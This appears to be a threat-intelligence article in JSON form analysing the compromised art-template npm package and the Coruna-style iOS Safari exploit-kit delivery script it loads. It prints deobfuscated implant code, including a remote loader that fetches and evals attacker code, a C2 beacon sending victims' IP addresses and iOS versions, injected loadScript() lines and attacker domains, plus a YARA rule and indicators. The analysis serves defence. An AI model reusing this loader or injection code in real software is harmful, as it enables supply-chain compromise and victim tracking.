[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fG9kCu-Ky5lEHP7JcW_CGUt1MAKExn5t2AryHQ92q6rU":3},{"article":4,"iocs":57},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":31,"category":32,"article_tags":36},"83caf693-129d-4286-9d1f-b050f67f3991","Coruna Respawned: Compromised art-template npm Package Leads to iOS Browser Exploit Kit","coruna-respawned-compromised-art-template-npm-package-leads-to-ios-browser-explo-47d64b","Early on May 20th, 2026, the Socket Threat Research team detected signals of a package compromise leading to a sophisticated payload targeting a broad range of iOS devices with a watering-hole attack similar in style to the delivery of the Coruna exploit kit. After careful analysis, a plethora of similarities to that campaign emerged, indicating that a threat actor intended to use a package supply-chain compromise to deliver iOS browser exploits. Repository Takeover Leads to Package Compromise # The art-template npm package, a widely-used JavaScript templating library originally authored by aui, was handed over to an unknown actor under the pretense of taking on maintenance of a project the original author was no longer actively stewarding. According to aui , the new controller almost immediately began weaponizing the package: “Someone previously acquired the project under the guise of taking over its maintenance, but soon released a package containing external scripts and deleted the related issues.” The pattern of deleting issue reports while continuing to push malicious versions suggests an actor who understood their exposure and was actively suppressing discovery. The backdoored versions followed an escalating injection pattern. Version 4.13.3 used String.fromCharCode encoding to conceal a loader pointing to git.youzzjizz[.]com\u002Fgit.js. Versions 4.13.5 and 4.13.6 dropped the obfuscation entirely, injecting a plaintext loadScript() call targeting v3.jiathis[.]com\u002Fcode\u002Fart.js directly into lib\u002Ftemplate-web.js. That domain redirects to the watering hole at utaq[.]cfww[.]shop\u002Fgooll\u002Fgooll.html, which embeds the Coruna exploit kit delivery framework analyzed in this report. The shift from encoded to plaintext injection across successive versions suggests the actors grew increasingly confident in their access. Any application that bundled art-template@4.13.5 or 4.13.6 would silently load and execute the exploit kit in every end user's browser. Technical Analysis # The JavaScript implant (49554fde7424c31c.js ) functions as a watering hole exploit delivery framework, targeting Safari on iOS 11.0 through iOS 17.2, explicitly and intentionally rejecting every other browser, OS, and iOS version outside that range. The file is inert on Chrome, Firefox, Edge, Android, and iOS 17.3+. Upon load it immediately begins beaconing the victim's public IP address, iOS version string, and a campaign tracking code to a C2 server (l1ewsu3yjkqeroy[.]xyz) every 10 seconds. Simultaneously, it runs five layers of anti-bot and anti-automation fingerprinting, including an inline WebAssembly proof-of-work, before fetching a server-side payload via a content-addressed remote module loader. Several technical characteristics of the delivery mechanism suggest gating for browser exploit delivery: CPU architecture discrimination: the implant distinguishes CPU_TYPE_ARM64 from CPU_TYPE_ARM64_32 and routes to different final-action modules accordingly. A phishing form has no use for the victim's CPU type. Exploit payloads targeting specific JIT compiler paths do. Version-specific WASM memory offsets (rvXShf): values of 72, 16, 64, 88, and 96 are applied at per-iOS-version precision to read from compiled WASM function bodies at exact byte offsets. This is a memory layout probe consistent with verifying a vulnerable code path before triggering a JIT corruption exploit — not rendering a login form. $n() reads JIT-compiled machine code: the WASM challenge retrieves a function pointer from the WASM table and reads memory at ptr + rvXShf to verify the JIT compiler's output against an expected hash. This technique is used to confirm a specific vulnerable JIT output exists before exploitation. Five separate version-specific WASM loader modules: exploit primitives require version-specific memory layouts; phishing pages do not. Hard cutoff at iOS 17.3: the implant explicitly resets its payload flag to false for iOS 17.3+, a boundary more consistent with a patched CVE than a phishing kit's version preference. .si() retried up to 20 times: transient WASM initialization failures are characteristic of exploit setup racing against JIT compilation timing, not form injection. Vulnerable iOS Devices Targeted: iOS 11.0 – 15.1 — mmrZ0r flag path iOS 15.2 – 15.5 — RbKS6p flag path iOS 15.6 – 16.1 — ShQCsB flag path iOS 16.2 – 16.5 — KeCRDQ flag path iOS 16.6 – 17.1 — JtEUci flag path iOS 17.2 — JtEUci + wC3yaB; hardened WASM-verified path macOS Safari — partial; desktop WebKit path exists, fingerprinting differs Not targeted: iOS [.]com\u002Fcode\u002Fjia.js?uid=artemplate') ← 4.13.5 loadScript(' [.]com\u002Fcode\u002Fart.js') ← 4.13.6 When the browser build is consumed by a downstream site, this injects a tag and executes arbitrary attacker-controlled JavaScript in the host page — enabling cookie\u002FlocalStorage theft, form hijacking, redirects, and further payload staging. The full delivery chain is: pkg:npm\u002Fart-template@4.13.5 \u002F @4.13.6 └─ lib\u002Ftemplate-web.js injects loadScript(...) └─ hxxps:\u002F\u002Fv3.jiathis[.]com\u002Fcode\u002Fart.js └─ redirects to hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fgooll\u002Fgooll.html └─ embeds hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fgooll\u002F49554fde7424c31c.js └─ Safari\u002FiOS watering hole exploit delivery framework └─ server-side payload via .lA() [unknown, C2-gated] File Metadata # Filename: 49554fde7424c31c.js SHA-256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c SHA-1: 8064d4e0322f069b3dba13e7957ff0ca7dab7984 MD5: 6e79ae622b7ef30f31fdbcc2dc65339e Size: 50,629 bytes Runtime target: Safari \u002F WebKit only Self-registered name: 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js # Three distinct obfuscation layers are applied from outside-in. Layer 0 — UTF-16 Integer Packer (fqMaGkN4) The first functions defined in the file implement a custom string packer that encodes string constants as arrays of 32-bit unsigned integers, each holding two UTF-16 code units packed in little-endian byte order. Strings are recovered at runtime via unescape(). \u002F\u002F As found in the file (outer packer — unmodified) function fqMaGkNL(V) { return 1 === (V = V.toString(16).toLowerCase()).length && (V = \"0\" + V), V } function fqMaGkN4(V) { return V.reduce((V, R) => { let T; const N = 255 & R, U = (4278190080 & R) >> 24 & 255, l = (16711680 & R) >> 16 & 255; return V + ( T = \"%u\", T += fqMaGkNL((65280 & R) >> 8 & 255), T += fqMaGkNL(N), T += \"%u\", T += fqMaGkNL(U), T += fqMaGkNL(l), unescape(T) ) }, \"\") } \u002F\u002F Example call — decodes the implant's self-registered filename: function fqMaGkNg() { return fqMaGkN4([ 1631006510, 960062519, 1647917360, 1647653680, 892756786, 912405041, 1701143141, 1681285477, 1684353382, 1714435941, 1831756386, 1781427817, 115 ]) } \u002F\u002F → \".\u002F7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js\" When called with an empty array (fqMaGkN4([])), the result is \"\". This is used intentionally for the result-callback URL — the beacon fires but goes nowhere, acting as a kill-switch for the status reporter while the C2 beacon runs separately. Layer 1 — new Function(atob(\"...\"))() Eval Chain The 39,900-character base64 blob assigned to globalThis.obChTK decodes to a 29,924-character JavaScript constructor. It is never placed in any variable — it is immediately invoked as new Function(atob(\"...\"))(). The decoded constructor builds the obChTK global module dispatcher and contains a JSON object MM whose keys are SHA-1 content hashes and whose values are further base64-encoded JavaScript module bodies. \u002F\u002F Top-level structure (as found): window.globalThis = window; globalThis.obChTK = new Function(atob(\"bGV0IE1NPXsiNTc2MjAy...\"))(); \u002F\u002F Decoded constructor (abbreviated): let MM = { \"57620206d62079baad0e57e6d9ec93120c0f5247\": \" \", \"14669ca3b1519ba2a8f40be287f646d4d7593eb0\": \" \", }; let e = {}; \u002F\u002F module cache function hPL3On(M) { \u002F\u002F synchronous module loader if (!(M in e)) { const I = atob(MM[M]); e[M] = new Function(I)(); } return e[M]; } async function ZKvD0e(M) { \u002F\u002F asynchronous remote module loader if (!(M in e) && !(M in MM)) { let I = SHA256(e.p + M).substring(0, 40); \u002F\u002F content-hash the URL const N = await XHR_GET(e.$ + I + \".js\"); \u002F\u002F fetch from server e[M] = new Function(N)(); \u002F\u002F eval fetched code } return hPL3On(M); } \u002F\u002F obChTK exposes four methods: \u002F\u002F .po3QmN(url) — set base URL (script directory) \u002F\u002F .eW4__H(key) — set session key (\"cecd08aa6ff548c2\") \u002F\u002F .hPL3On(hash) — synchronous inline module lookup \u002F\u002F .ZKvD0e(hash) — async remote module fetch + eval Layer 2 — Per-String XOR Encoding Every sensitive string inside both inline modules and the outer wrapper is encoded as an integer array XOR'd with a per-string key constant. Keys range from 45 to 122. \u002F\u002F Example: XOR key 67 — decodes to a module hash [118,116,117,100,99,114,98,103,112,100,120,116,100,121,51,97,98,100, 99,113,107,114,115,102,99,56,98,54,100,50,99,51,48,102,51,50,52,55] .map(x => String.fromCharCode(x ^ 67)).join(\"\") \u002F\u002F → \"57620206d62079baad0e57e6d9ec93120c0f5247\" \u002F\u002F Example: XOR key 0 (plaintext char codes) — decoded C2 URL [104,116,116,112,115,58,47,47,108,49,101,119,115,117,51,121,106,107, 113,101,114,111,121,46,120,121,122,47,97,112,105,47,105,112,45,115, 121,110,99,47,115,121,110,99] .map(x => String.fromCharCode(x)).join(\"\") \u002F\u002F → \" \" \u002F\u002F Example: XOR key 0 — IP oracle [104,116,116,112,115,58,47,47,105,112,118,52,46,105,99,97,110,104, 97,122,105,112,46,99,111,109] .map(x => String.fromCharCode(x)).join(\"\") \u002F\u002F → \" \" Layer 2b — Integer Constant Obfuscation Numeric constants are stored as XOR pairs of 32-bit integers, defeating static analysis tools that scan for magic numbers: (1231382113 ^ 1231552349) \u002F\u002F → 236 iOS version threshold offset (1937131623 ^ 1937135719) \u002F\u002F → 4096 WASM heap alignment (1433892436 ^ 1433892523) \u002F\u002F → 0xFF SHA-256 byte mask (1345340530 ^ -1361199427) \u002F\u002F → 0xFEEDFACF Mach-O 64-bit binary magic (1903251526 ^ 1903260907) \u002F\u002F → 9389 WASM challenge expected value (0x24AD) Stage 0 — Bootstrap and Module Dispatcher # On script load, three things happen synchronously before any network activity: window.globalThis = window patches the global alias for older WebKit. globalThis.obChTK = new Function(atob(\"...\"))() decodes and evaluates the 29 KB constructor, registering two inline modules and exposing the four dispatcher methods. globalThis.obChTK.eW4__H(\"cecd08aa6ff548c2\") sets the session discriminator used in all remote module URL derivations. globalThis.obChTK.po3QmN(fqMaGkNg()) sets the base URL to the decoded script path: .\u002F7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js. The two bundled inline modules are evaluated immediately on first access: 57620206d62079baad0e57e6d9ec93120c0f5247 — 64-bit integer math library (BigInt polyfill via two 32-bit limbs; includes LEB128 encoder\u002Fdecoder used by the WASM builder) 14669ca3b1519ba2a8f40be287f646d4d7593eb0 — browser fingerprinting and capability engine (version tables, all flag definitions, WASM fingerprinter, anti-bot probes) Neither module touches the DOM or makes network requests at this stage. Stage 1 — Safari\u002FWebKit Browser Gate # The main entry point fqMaGkNR() calls fqMaGkNK.init() on the fingerprinting module, passing navigator.platform, navigator.userAgent, and several other environment parameters. \u002F\u002F Deobfuscated init() — browser gate (from module 14669ca3...) r.init = function(platform, maxTouchPoints, ..., userAgent) { \u002F\u002F Hard-reject non-Safari\u002FWebKit if (userAgent.match(\u002FVersion\\\\\u002F\u002F)) F.dn = 'safari'; else if (!userAgent.match(\u002FAppleWebKit\\\\\u002F\u002F)) throw new Error(\"\"); \u002F\u002F abort if ('safari' !== F.dn) throw new Error(\"\"); \u002F\u002F abort \u002F\u002F Parse version string into integer score \u002F\u002F \"17.3.1\" → parseInt(\"17\" + \"03\" + \"01\") = 170301 let u = userAgent.match(\u002FVersion\\\\\u002F(\\\\d+)\\\\.(\\\\d+)(?:\\\\.(\\\\d+))?\u002F); \u002F\u002F Fallback for custom iOS UA: \"MobileStore\u002F1.0 ... iOS\u002F17.2\" if (null === u && userAgent.startsWith('MobileStore\u002F1.0')) u = userAgent.match(\u002FiOS\\\\\u002F(\\\\d+)\\\\.(\\\\d+)(?:\\\\.(\\\\d+))?\u002F); if (null === u) throw new Error(\"\"); F.xn = parseInt( pad(u[1]) + pad(u[2]) + (u[3] ? pad(u[3]) : \"00\"), 10 ); F.runtime = 'LTgSl5'; \u002F\u002F default runtime table name p(); \u002F\u002F build capability flags for this version }; Any throw from init() (wrong UA) or the version check below 13.0 terminates execution immediately, returning exit code 1001. Stage 2 — Version Scoring and Capability Flag Assignment # The p() function consults the LTgSl5 version table to set exactly one mutually exclusive Boolean payload flag in F.Nn. The table is walked from lowest threshold to highest; each entry overwrites the previous state. The result is a single-flag selector that governs which remote payload module will be fetched. \u002F\u002F Deobfuscated p() — version flag builder function p() { const table = _[F.runtime]; \u002F\u002F e.g. _['LTgSl5'] const entries = table.slice().reverse(); \u002F\u002F lowest threshold first entries.forEach((entry, idx) => { if (idx === 0 || entry.GFx77t \" + \" 14 \" + \" \"; const root = document.body || document.firstChild; root.appendChild(div); const color = globalThis.getComputedStyle( div.firstChild.firstChild, null ).color; root.removeChild(document.getElementById(id)); return color === 'rgb(0, 0, 255)'; \u002F\u002F true = real browser } if (!checkMathML()) return 1001; Probe 4 — IndexedDB Blob Write (iOS) \u002F Web SQL + localStorage (macOS) The probe branches on navigator.maxTouchPoints to distinguish iOS from macOS. \u002F\u002F Deobfuscated Yn() — storage probe function Yn() { return new Promise(resolve => { if (navigator.maxTouchPoints !== undefined) { \u002F\u002F iOS path: IndexedDB Blob write test const req = window.indexedDB.open('_ldm_' + Math.random(), 1); req.onupgradeneeded = function(e) { try { e.result .createObjectStore('test', { autoIncrement: true }) .put(new Blob()); resolve(false); \u002F\u002F succeeded → newer iOS (15.4+) } catch(err) { const msg = (err instanceof Error) ? err.message : String(err); \u002F\u002F true → error matched → iOS ≤ 15.3 (Blob URLs not yet supported) \u002F\u002F false → different error → still a real browser resolve(typeof msg === 'string' ? \u002FBlobURLs are not yet supported\u002F.test(msg) : false); } }; } else { \u002F\u002F macOS path: deprecated Web SQL + localStorage try { window.openDatabase(null, null, null, null); \u002F\u002F throws on Safari 15.4+ resolve(false); \u002F\u002F if it doesn't throw, macOS pre-15.4 — continue } catch(_) { \u002F\u002F Verify localStorage works const k = '_ldm_' + Math.random(); localStorage.setItem(k, '1'); localStorage.removeItem(k); resolve(false); \u002F\u002F real macOS Safari — continue } } }); } The \"BlobURLs are not yet supported\" version boundary: This error was thrown by WebKit's IndexedDB implementation before Blob object URL support was added (WebKit bug 227576, fixed in Safari 15.4 \u002F iOS 15.4, March 2022). kn = true — iOS 11.0 – 15.3; pre-15.4, Blob write threw \"BlobURLs are not yet supported\" kn = false — iOS 15.4+; write succeeded or a different error was thrown The result is stored in F.kn and forwarded to the server-side payload modules via the shared F state object exposed through globalThis.obChTK. The probe does not gate payload selection — it is a fingerprinting data point passed to the remote .lA() payload so it can tailor its UI to the specific device. Probe 5 — (Reserved) Timeout Sentinel A 5-second setTimeout sentinel is set before Yn() runs. If the IndexedDB probe does not complete within 5 seconds (e.g. in a sandboxed environment that stalls on IDB access), the sentinel fires and resolves the probe as false regardless, allowing execution to continue. This prevents indefinite hangs from tripping automation-detection trip wires in the harness. Stage 4 — Content-Addressed Remote Payload Fetch # After the anti-bot probes pass, fqMaGkNR() uses the capability flag to select a module hash and fetches it via ZKvD0e(). \u002F\u002F Deobfuscated module dispatch in fqMaGkNR() let T; const env = fqMaGkNK.zn; if (env.Nn.JtEUci) T = await ZKvD0e('e3b6ba10484875fabaed84076774a54b87752b8a'); else if (env.Nn.KeCRDQ) T = await ZKvD0e('57cb8c6431c5efe203f5bfa5a1a83f705cb350b8'); else if (env.Nn.ShQCsB) T = await ZKvD0e('d11d34e4d96a4c0539e441d861c5783db8a1c6e9'); else if (env.Nn.RbKS6p) T = await ZKvD0e('ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44'); else if (env.Nn.mmrZ0r) T = await ZKvD0e('7d8f5bae97f37aa318bccd652bf0c1dc38fd8396'); \u002F\u002F T === undefined → return fqMaGkNr(1001) URL Derivation (Content-Addressed Fetch) The remote module URL is not a direct path to the module hash. It is derived by hashing the session key concatenated with the module hash through the bundled SHA-256 implementation: \u002F\u002F Deobfuscated ZKvD0e() — remote module loader async function ZKvD0e(moduleHash) { if (!(moduleHash in e) && !(moduleHash in MM)) { \u002F\u002F Derive fetch path: SHA256(sessionKey + moduleHash)[0:40] const fetchPath = SHA256(\"cecd08aa6ff548c2\" + moduleHash).substring(0, 40); \u002F\u002F e.$ = script base directory \u002F\u002F Append cache-busting param: ?{random5-10char}={0|1} const url = e.$ + fetchPath + \".js?\" + randomKey + \"=\" + randomBit; const src = await XHR_GET(url, { responseType: \"text\" }); e[moduleHash] = new Function(src)(); \u002F\u002F eval fetched code } return hPL3On(moduleHash); } The session key cecd08aa6ff548c2 acts as a server-side gate: a request using the wrong key produces a 404, making the payload invisible to crawlers and scanners that do not know the key. The cache-busting random query parameter prevents CDN caching of payload modules. Derived Fetch Paths for iOS Payload Modules Session key: cecd08aa6ff548c2 iOS 11.0–15.1 (mmrZ0r): SHA256(\"cecd08aa6ff548c2\" + \"7d8f5bae97f37aa318bccd652bf0c1dc38fd8396\")[0:40] → 5ff38f5342bb3c931bc504d6fa3523d0c8865b93 → GET .\u002F5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js iOS 15.2–15.5 (RbKS6p): → 46ecd515ac9e99ef0603063db39303a0fd849632 → GET .\u002F46ecd515ac9e99ef0603063db39303a0fd849632.js iOS 15.6–16.1 (ShQCsB): → ff4f3cb4711fb364b52de5ab04a8f83140466f89 → GET .\u002Fff4f3cb4711fb364b52de5ab04a8f83140466f89.js iOS 16.2–16.5 (KeCRDQ): → 8c4451cf1258f9a8d6a8af27864f111fd69a0e99 → GET .\u002F8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js iOS 16.6–17.2 (JtEUci): → 6beef463953ff422511395b79735ec990bed65f4 → GET .\u002F6beef463953ff422511395b79735ec990bed65f4.js .si() Retry Loop (WASM Initialization) The fetched module exposes a .si() method that initializes the WebAssembly environment and stores the resulting instance in F.Xn. Because WASM compilation is async and can fail transiently in constrained iOS environments, it is retried up to 20 times: \u002F\u002F Deobfuscated si() retry loop for (let attempt = 0; attempt setTimeout(r, 2000)); \u002F\u002F 2s initial delay const channelCode = \"CHMK6IG08F42496C22\"; const c2Endpoint = \" \"; const ipOracleUrl = \" \"; async function sendBeacon() { \u002F\u002F 1. Resolve victim's public IP via legitimate third-party service const ip = (await fetch(ipOracleUrl)).text().trim(); \u002F\u002F 2. Extract OS version from UA \u002F\u002F e.g. \"iPhone OS 17_2\" → \"iOS 17.2\" \u002F\u002F \"Intel Mac OS X 10_15_7\" → \"macOS 10.15.7\" const deviceVersion = parseUserAgent(navigator.userAgent); \u002F\u002F 3. POST beacon to C2 await fetch(c2Endpoint, { method: \"POST\", headers: { \"Content-Type\": \"application\u002Fjson\" }, body: JSON.stringify({ channelCode, ip, deviceVersion }) }); } await sendBeacon(); setInterval(sendBeacon, 10000); \u002F\u002F repeat every 10 seconds })(); \u002F\u002F Outer reload loop — forces full re-execution every ~16.7 hours setInterval(() => location.reload(), 60_000_000); The second campaign code \"1DECX7UIQIB43\" is declared as a constant in the outer scope but not used in the beacon body. It is likely reserved for an alternate C2 channel or A\u002FB test variant that is server-activated. The use of ipv4.icanhazip.com as the IP oracle is deliberate: it avoids self-hosted infrastructure that could be blocklisted, is HTTPS, and is an established legitimate service — reducing the chance of the pre-beacon request being flagged by endpoint security before the C2 POST fires. Result Codes # The fqMaGkNr(code) function reports execution outcomes as a GET request to a callback URL derived from fqMaGkN4([]). In this sample the callback array is empty, so fqMaGkN4([]) = \"\" and no beacon fires — the attacker has disabled status reporting in this copy, likely to reduce forensic visibility. 0 — success; payload loaded and .lA() returned 1000 — partial success; setup completed but final action not confirmed 1001 — abort; failed browser gate, version check, or anti-bot probe 1003 — error; unhandled exception in main chain # All modules are served from the same origin as the implant entry point (utaq[.]cfww[.]shop), under a path derived by the content-addressed URL scheme described in Stage 4. The session key cecd08aa6ff548c2 must be known to correctly derive fetch paths. Fetch paths are computed as SHA256(\"cecd08aa6ff548c2\" + moduleHash)[0:40] + \".js\". Module Hash Type Hosted At Inline or Remote 57620206d62079baad0e57e6d9ec93120c0f5247 64-bit math library Bundled in utaq[.]cfww[.]shop Inline 14669ca3b1519ba2a8f40be287f646d4d7593eb0 Fingerprint + capability engine Bundled in utaq[.]cfww[.]shop Inline 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 iOS 11.0–15.1 WASM loader hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js Remote ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 iOS 15.2–15.5 WASM loader hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F46ecd515ac9e99ef0603063db39303a0fd849632.js Remote d11d34e4d96a4c0539e441d861c5783db8a1c6e9 iOS 15.6–16.1 WASM loader hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fff4f3cb4711fb364b52de5ab04a8f83140466f89.js Remote 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 iOS 16.2–16.5 WASM loader hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js Remote e3b6ba10484875fabaed84076774a54b87752b8a iOS 16.6–17.2 WASM loader hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F6beef463953ff422511395b79735ec990bed65f4.js Remote 477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba Shared crypto init (.ul()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fbef10a7c014b826e9dd645984e80baf313c1635f.js Remote 29b874a9a6cc9fa9d487b31144e130827bf941bb iOS crypto getter — wF8NpI (.ga()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F4a75f0551eba446b4fa35127024a84b71d9688d6.js Remote 9db8a84aa7caa5665f522873f49293e8eebccd5c iOS crypto getter — LJ1EuL (.ga()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F3fd66b32c44150acff3dcb80f86c759574148ed5.js Remote 171a7da1934de9e0efb9c1645f4575f88e482873 Desktop WebKit crypto getter (.ga()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js Remote 91b278ddb2aec817b10c1535e0963da74f9b8eeb Non-Safari WebKit crypto getter (.ga()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Ff6377d5d458183d41c5fd99661c5a306b42c6255.js Remote b586c88246144bc7975ad4e27ec6d62716bf34ea Fallback crypto getter (.ga()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F3bc0f6865c0476c0a98a76cb9924d6b3972df591.js Remote 7f809f320823063b55f26ba0d29cf197e2e333a8 Final action — WASM-verified path (.lA()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F8835419f53fa3b270c8928d53f012d4c28b29ea4.js Remote c03c6f666a04dd77cfe56cda4da77a131cbb8f1c Final action — primary\u002Ffallback path (.lA()) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002F9af53c1bb40f0328841df6149f1ef94f5336ae11.js Remote ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 WASM ABI sub-module (PSNMWj\u002FRoAZdq dispatcher) hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Faea58f0e58801b528702a6c66bf4af8b99041243.js Remote # Google Threat Intelligence Group published a detailed analysis of Coruna, a commercial iOS exploit kit containing 5 full exploit chains and 23 individual exploits, targeting iOS 13.0 through 17.2.1. The overlap with 49554fde7424c31c.js is extensive enough to conclude with high confidence that this sample is an instance or close derivative of the Coruna delivery framework. iOS Version Targeting — Near-Identical Bands Coruna defines five WebContent RCE exploit chains, each covering a specific iOS version band. Our sample's five version-specific payload modules map to these chains with near-perfect alignment: iOS 11.0–15.1 (mmrZ0r) — Coruna buffout (CVE-2021-30952, fixed 15.2) and jacurutu (CVE-2022-48503, fixed 15.6) iOS 15.6–16.1 (ShQCsB) — Coruna bluebird (no CVE, fixed 16.2) iOS 16.2–16.5 (KeCRDQ) — Coruna terrorbird (CVE-2023-43000, fixed 16.6) iOS 16.6–17.2 (JtEUci) — Coruna cassowary (CVE-2024-23222, fixed 17.3) iOS 17.3+ — hard exit 1001 in our sample; cassowary patched at exactly this boundary The hard cutoff at threshold 170300 (iOS 17.3) that we decoded directly corresponds to the patch boundary for CVE-2024-23222, the WebKit type confusion vulnerability exploited by Coruna's cassowary chain. This confirms that our sample's primary target path (JtEUci, iOS 16.6–17.2) is delivering cassowary. Content-Addressed Resource URL Scheme — Identical Coruna uses: sha256(COOKIE + ID)[:40] = resource URL Our sample uses: sha256(\"cecd08aa6ff548c2\" + moduleHash)[:40] + \".js\" These are structurally identical. What Coruna calls a \"COOKIE\" is what we decoded as the session key cecd08aa6ff548c2. GTIG notes that Coruna resources are \"served from URLs ending with .min.js\" — consistent with our sample's self-registered name 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js and all remote modules being served as .js files under content-derived 40-hex-char paths. XOR Obfuscation Pattern — Exact YARA Match GTIG published this YARA rule to detect Coruna's delivery framework: rule G_Hunting_Exploit_MapJoinEncoder_1 { strings: $s1 = \u002F\\[[^\\]]+\\]\\.map\\(\\w\\s*=>.{0,15}String\\.fromCharCode\\(\\w\\s*\\^\\s*(\\d+)\\).{0,15}\\.join\\(\"\"\\)\u002F condition: 1 of ($s*) and not any of ($fp*) } Our sample contains this pattern throughout all three obfuscation layers, e.g.: [118,116,117,...].map(x => String.fromCharCode(x ^ 67)).join(\"\") [99, 39, 62].map(x => String.fromCharCode(x ^ 77)).join(\"\") This sample matches the GTIG YARA rule. Integer Constant XOR Pairs — Same Technique Coruna uses i.p1=(1111970405 ^ 1111966034) to obscure numeric constants. Our sample uses the same pattern throughout: (1231382113 ^ 1231552349) \u002F\u002F → 236 (1903251526 ^ 1903260907) \u002F\u002F → 9389 (WASM challenge expected value) (1345340530 ^ -1361199427) \u002F\u002F → 0xFEEDFACF Chip-Specific Dispatch — Same Architecture Discrimination Coruna dispatches chip-specific exploit modules: IronLoader targets ≤A12 chips and NeuronLoader targets A13–A16 chips, both operating at the sandbox escape layer. Our sample discriminates identically at the WASM layer, routing CPU_TYPE_ARM64 (0x01000007) to runtime RoAZdq (standard iPhone A-series) and CPU_TYPE_ARM64_32 (0x0100000C) to runtime PSNMWj (Apple Silicon \u002F M-series), then loading architecture-specific crypto modules. The underlying mechanism — reading cpuType from heap memory to select a version-specific exploit primitive — is the same in both. .xyz C2 Domain Pattern Coruna's DGA seeds on \"lazarus\" and generates 15-character .xyz domains. Our C2 l1ewsu3yjkqeroy[.]xyz is also a 15-character .xyz domain and matches the character-set and length profile of Coruna DGA output. The hard-coded Coruna C2 list contains 27 .xyz domains of identical format. Campaign Attribution Links with UNC6691 GTIG attributes Coruna's third campaign to UNC6691, described as a Chinese financially-motivated threat actor deploying the kit across 50+ cryptocurrency scam and Chinese-language websites by end of 2025. Several signals in our sample align with this attribution: The injection vector (art-template, a widely-used Chinese template engine) and the injector domain (v3.jiathis[.]com, a Chinese social sharing service) both originate from the Chinese npm\u002Fweb ecosystem The campaign tracking codes (CHMK6IG08F42496C22, 1DECX7UIQIB43) are consistent with UNC6691's bulk deployment style The delivery path through gooll\u002Fgooll.html is consistent with GTIG's documented UNC6691 staging pages (e.g. \u002Fstatic\u002Fanalytics.html, \u002Ftuiliu\u002Fgroup.html) Features Left to Confirm The delivery framework (49554fde7424c31c.js) is the qualification and staging layer only. Analysis of the next-stage modules is ongoing, but the files do not match previous Coruna reporting. The following were features reported by Google that are yet to be confirmed: The WebKit RCE exploit JavaScript (loaded as the server-side .lA() payload — not embedded) PAC bypass modules (breezy, seedbell family) Sandbox escape modules (IronLoader, NeuronLoader) Privilege escalation and PPL bypass chains (Photon, Gruber, Sparrow, etc.) The PlasmaLoader binary payload (PLASMAGRID, com.apple.assistd) ChaCha20-encrypted binary blobs served as .min.js All of these are consistent with this file being the browser-side qualification harness — the component that determines whether the device is real, unpatched, and worth exploiting — before the actual exploit chain is fetched and executed. Coruna's architecture separates this layer from the exploit delivery layer by design, which is why static analysis of this file alone cannot confirm exploitation. Summary Assessment The obfuscation fingerprint, content-addressed URL scheme, version band targeting, chip-specific dispatch, XOR encoding pattern, .xyz C2 domain format, and hard cutoff at iOS 17.3 are all individually documented Coruna characteristics. Their simultaneous presence in this sample makes an independent re-implementation implausible. This sample is assessed with high confidence to be the Coruna exploit kit delivery framework, while linking the campaign to UNC6691 requires additional infrastructure analysis. Recommended Detections # Block l1ewsu3yjkqeroy[.]xyz at DNS\u002Fproxy — all sub-paths are malicious. Alert: icanhazip.com fetch followed within 2 seconds by a POST to an unrecognized API endpoint. This sequence is a behavioral signature of this implant family's beacon IIFE. Hunt for CHMK6IG08F42496C22 in proxy\u002FDLP logs — this string in a POST body is a definitive campaign hit. Search web proxy logs for path prefix cecd08aa6ff548c2 — any URL containing this string before a 40-character hex path component is a dynamic module fetch from this implant or a family member. Block or alert on cfww.shop and all subdomains — the randomized subdomain pattern (utaq., cfww.) is consistent with a bulk-registered phishing domain fleet. Network signature: GET .cfww.shop\u002F*.js from iOS User-Agent — any JavaScript file fetched from this domain to a Safari iOS client should be treated as suspicious. For iOS-heavy organizations: deploy MDM policies restricting Safari from loading third-party scripts on unmanaged domains; enforce Safe Browsing on managed devices. Do not replay this script in any browser-connected JavaScript environment. The live payload modules are fetched from the C2 server at runtime and are not embedded in this file. # Compromised Packages art-template@4.13.5 (pkg:npm\u002Fart-template@4.13.5) art-template@4.13.6 (pkg:npm\u002Fart-template@4.13.6) File Hashes — Entry Point (49554fde7424c31c.js) SHA-256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c SHA-1: 8064d4e0322f069b3dba13e7957ff0ca7dab7984 MD5: 6e79ae622b7ef30f31fdbcc2dc65339e File-Based Indicators 49554fde7424c31c.js — delivered filename 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js — self-registered name decoded from uint32 packer cecd08aa6ff548c2 — session key; present in all remote module GET request paths obChTK — JS global name of the module dispatcher injected into 